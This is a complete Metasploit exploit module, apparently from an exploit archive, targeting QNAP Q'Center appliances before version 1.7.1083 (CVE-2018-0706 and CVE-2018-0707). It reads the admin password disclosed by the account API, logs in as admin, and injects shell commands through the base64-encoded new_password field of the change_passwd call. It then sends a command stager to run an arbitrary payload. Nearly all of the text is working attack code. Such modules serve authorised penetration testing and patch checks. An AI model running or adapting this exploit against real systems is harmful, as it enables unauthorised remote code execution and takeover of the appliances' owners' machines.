QNAP Q Center change_passwd Command Execution

Credit: Ivan Huertas
Risk: High
Local: No
Remote: Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => "QNAP Q'Center change_passwd Command Execution", 'Description' => %q{ This module exploits a command injection vulnerability in the `change_passwd` API method within the web interface of QNAP Q'Center virtual appliance versions prior to 1.7.1083. The vulnerability allows the 'admin' privileged user account to execute arbitrary commands as the 'admin' operating system user. Valid credentials for the 'admin' user account are required, however, this module also exploits a separate password disclosure issue which allows any authenticated user to view the password set for the 'admin' user during first install. This module has been tested successfully on QNAP Q'Center appliance version 1.6.1075. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ivan Huertas', # Discovery and PoC 'Brendan Coles' # Metasploit ], 'References' => [ ['CVE', '2018-0706'], # privesc ['CVE', '2018-0707'], # rce ['EDB', '45015'], ['URL', 'https://www.coresecurity.com/advisories/qnap-qcenter-virtual-appliance-multiple-vulnerabilities'], ['URL', 'http://seclists.org/fulldisclosure/2018/Jul/45'], ['URL', 'https://www.securityfocus.com/archive/1/542141'], ['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201807-10'] ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [['Auto', { }]], 'CmdStagerFlavor' => %w[printf bourne wget], 'Privileged' => false, 'DisclosureDate' => 'Jul 11 2018', 'DefaultOptions' => {'RPORT' => 443, 'SSL' => true}, 'DefaultTarget' => 0)) register_options [ OptString.new('TARGETURI', [true, "Base path to Q'Center", '/qcenter/']), OptString.new('USERNAME', [true, 'Username for the application', 'admin']), OptString.new('PASSWORD', [true, 'Password for the application', 'admin']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] end def check res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.html') unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 && res.body.include?("<title>Q'center</title>") vprint_error "Target is not a QNAP Q'Center appliance" return CheckCode::Safe end version = res.body.scan(/\.js\?_v=([\d\.]+)/).flatten.first if version.to_s.eql? '' vprint_error "Could not determine QNAP Q'Center appliance version" return CheckCode::Detected end version = Gem::Version.new version vprint_status "Target is QNAP Q'Center appliance version #{version}" if version >= Gem::Version.new('1.7.1083') return CheckCode::Safe end CheckCode::Appears end def login(user, pass) vars_post = { name: user, password: Rex::Text.encode_base64(pass), remember: 'false' } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/login'), 'ctype' => 'application/json', 'data' => vars_post.to_json }) if res.nil? fail_with Failure::Unreachable, 'Connection failed' elsif res.code == 200 && res.body.eql?('{}') print_good "Authenticated as user '#{user}' successfully" elsif res.code == 401 || res.body.include?('AuthException') fail_with Failure::NoAccess, "Invalid credentials for user '#{user}'" else fail_with Failure::UnexpectedReply, "Unexpected reply [#{res.code}]" end @cookie = res.get_cookies if @cookie.nil? fail_with Failure::UnexpectedReply, 'Failed to retrieve cookie' end end # # Retrieve list of user accounts # def account res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/account'), 'cookie' => @cookie }) JSON.parse(res.body)['account'] rescue print_error 'Could not retrieve list of users' nil end # # Login to the 'admin' privileged user account # def privesc print_status 'Retrieving admin user details ...' admin = account.first if admin.blank? || admin['_id'].blank? || admin['name'].blank? || admin['new_password'].blank? fail_with Failure::UnexpectedReply, 'Failed to retrieve admin user details' end @id = admin['_id'] @pw = Rex::Text.decode_base64 admin['new_password'] print_good "Found admin password used during install: #{@pw}" login admin['name'], @pw end # # Change password to +new+ for user with ID +id+ # def change_passwd(id, old, new) vars_post = { _id: id, old_password: Rex::Text.encode_base64(old), new_password: Rex::Text.encode_base64(new), } send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/account'), 'query' => 'change_passwd', 'cookie' => @cookie, 'ctype' => 'application/json', 'data' => vars_post.to_json }, 5) end def execute_command(cmd, _opts) change_passwd @id, @pw, "\";#{cmd};\"" end def exploit unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end login datastore['USERNAME'], datastore['PASSWORD'] if datastore['USERNAME'].eql? 'admin' @id = @cookie.scan(/_ID=(.+?);/).flatten.first @pw = datastore['PASSWORD'] else privesc end print_status 'Sending payload ...' execute_cmdstager linemax: 10_000 end end

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